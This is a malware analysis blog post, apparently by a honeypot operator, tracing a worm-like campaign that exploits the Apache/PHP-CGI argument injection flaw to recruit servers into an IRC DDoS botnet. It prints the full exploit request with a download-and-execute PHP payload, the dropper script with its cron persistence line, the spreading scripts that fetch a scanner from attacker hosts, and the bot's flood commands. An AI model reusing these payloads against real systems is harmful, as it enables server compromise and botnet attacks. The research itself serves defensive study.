Ever since the vulnerability was discovered in Apache/PHP which allowed for PHP-code to be executed using a simple HTTP POST-request, automated attacks was launched widely which lead to a large number of compromised hosts.
Those attacks have decreased during the last months, however, one of these automated attacks was particularly interesting due to the fact that the approach used can be categorized as worm-like. Let's go into the whole attack on a higher level before going into the technical part.
The actor used the exploit released by kingcope [
exploit-db] with a modified payload which downloaded a few scripts and binaries which in turn started scanning a random A-block of IPv4 addresses. If a host was found to be running Apache, exploitation attempts would be launched and the whole process starts over. These attacks was first spotted around November 2013.
Inner workings
Now for the fun, more interesting part:
One of the exploitation attempts:
POST /cgi-bin/php.cgi?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1
Content-Length: 82
Host: <excluded>
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Connection: close
Content-Type: application/x-www-form-urlencoded
<?php system("wget http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");
The payload is pretty straight forward, download and execute 'sh' which consist of a bash-script:
#!/bin/sh
cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/shd -O ...i
chmod +x ...i
./...i
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd cla qt64 qt32 clover cron sh wget
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron
The script does a couple of things:
- Download and execute a file 'shd'
- Download and execute files 'ru' and 'rr'
- Try to kill 55 processes
If we skip ahead a few lines and focus on the "kill"-section. This was for a while a big questionmark for me as it didn't make any clear sense until I checked some of my honeypot logs and found that similar attacks from other actors downloaded and executed bots which had processes with the above names. The actor behind this attack has thereby planned ahead and make sure to kill any known running bots to make sure that there is only one bot running, his own.
Going back to the first few lines, the script will download and execute
'shd' which is a compiled binary [VT:
47640bbafbaef528bc3f3215299b9ed0]. It doesn't take long to get an idea of what this binary does after checking the strings (full list on [
Pastebin]):
...<snip>...
117.17.242.218
NOTICE %s :Unable to comply.
/usr/dict/words
%s : USERID : UNIX : %s
NOTICE %s :GET <host> <save as>
NOTICE %s :Unable to create socket.
http://
NOTICE %s :Unable to resolve address.
NOTICE %s :Unable to connect to http.
GET /%s HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)
Host: %s:80
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
...<snip>...
NOTICE %s :MOVE <server>
NOTICE %s :TSUNAMI <target> <secs>
= Special packeter that wont be blocked by most
firewalls
NOTICE %s :PAN <target> <port> <secs>
= An advanced syn flooder that will kill most
network drivers
NOTICE %s :UDP <target> <port> <secs> = A udp flooder
NOTICE %s :UNKNOWN <target> <secs> = Another non-spoof udp flooder
NOTICE %s :NICK <nick> = Changes the nick of the client
NOTICE %s :SERVER <server> = Changes servers
NOTICE %s :GETSPOOFS = Gets the current spoofing
NOTICE %s :SPOOFS <subnet> = Changes spoofing to a subnet
NOTICE %s :DISABLE = Disables all packeting from this client
NOTICE %s :ENABLE = Enables all packeting from this client
NOTICE %s :KILL = Kills the client
NOTICE %s :GET <http address> <save as> = Downloads a file off the web and saves it onto the hd
NOTICE %s :VERSION = Requests version of client
NOTICE %s :KILLALL = Kills all current packeting
NOTICE %s :HELP = Displays this
NOTICE %s :IRC <command> = Sends this command to the server
NOTICE %s :SH <command> = Executes a command
NOTICE %s :Killing pid %d.
A couple of things pop out. first is the fact that there is an IP-adress listed '117.17.242.218' and judging by the other strings I would guess that this is an IRC-bot with DDoS-functionality.
One of my ad-hoc methods while analysing malware is to always check TCP/80 as it's the most commonly open port on the Internet:
$ curl 117.17.242.218
:irc.foonet.com NOTICE AUTH :*** Looking up your hostname...
:irc.foonet.com NOTICE AUTH :*** Found your hostname (cached)
ERROR :Closing Link: [<excluded>] (HTTP command from IRC connection (ATTACK?))
A channel could be found using strings as well:
$ strings shd | grep \#
CL#CP
Gu#1
u#;u
#irc
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
|;#o
The channel in question is not password-proctected but isn't however listing connected bots, only the bot admin which seems to be changing nickname each time a command is sent to one or more bots.
13:23 <@HADHH> !* SH cd /tmp;wget 221.132.37.26/ru.php ; bash ru.php ; rm -rf ru.php
13:23 -!- HADHH is now known as HAD
Moving forward with the second and third file
'ru' and
'rr' which is supposed to be bash-scripts.
'rr' however wasn't found on the server,
'ru' was [
Pastebin].
This script is the first step in deploying further spreading as it downloads and runs a scanning tool (pnscan) and the exploit from http://bont.hu/ar/<arch>.tgz and shown in the snippet below:
<snip>
if [ ! -f pnscan ];then
case "$arch" in
"x86_64")
wget -q http://bont.hu/ar/64.tgz -O 64.tgz
tar xvzf 64.tgz
rm -rf 64.tgz
;;
*)
wget -q http://bont.hu/ar/86.tgz -O 86.tgz
tar xvzf 86.tgz
rm -rf 86.tgz
;;
esac
fi
<snip>
The archives comes with three files each which have identical functionality (only difference in the 'run'-file is a linebreak at the end):
The run-script reveals how the process is initiated but only how pnscan is initiated:
#!/bin/bash
rand=`echo $((RANDOM%225+2))`
cd /dev/shm
nohup ./pnscan -rApache -w"HEAD / HTTP/1.0\r\n\r\n" $rand.0.0.0/8 80 > /dev/null &
I approached this as it would be a standard version of pnscan that would dump the results to file, but as the above script shows, there is no calls to 'php'. So back to static analysis and strings and look for 'php':
$ strings pnscan | fgrep php
./php --target %s --port 80 --protocol http --reverse-ip 12.8.8.8 --reverse-port 80 &
Now that's more like it! Seems to be a modified version of pnscan which calls 'php' if a server is found to be running Apache.
At this stage the whole process simply repeats for each vulnerable server.
Other thoughts and facts
This particular attack has been running since November judging by this article and the botnet is still propagating and actively being controlled by the admin. Some things have changed during the time such as names for the scripts and binaries which has been downloaded (old ones still remain though). Some examples (top one being the currently used) [urlquery):
Initial script (2014-02-15):
221.132.37.26/shh - Active
221.132.37.26/sh - Active
221.132.37.26/scen - Active
221.132.37.26/tmp/sh - Inactive
IRC-bot ((2014-02-15):
221.132.37.26/shd - Active (2014-02-15)
221.132.37.26/shb - Active
221.132.37.26/shc - Active
221.132.37.26/xxx - Inactive
221.132.37.26/xx - Inactive
221.132.37.26/x - Inactive
Unknown (based on urlquery, all inactive):
221.132.37.26/CUT_IT_OUT
221.132.37.26/i_see_you
221.132.37.26/in (probably initial script)
Honeypot used:
I've uploaded the script used in capturing this and many similar attempts on Pastebin [Pastebin].
Links
http://blog.michaelhaag.org/2013/12/kaiten-linux-backdoor.html
http://blog.malwaremustdie.org/2013/05/story-of-unix-trojan-tsunami-ircbot-w.html
http://malm0u53.blogspot.se/2013/12/backing-up-new-cis-blog-post.html
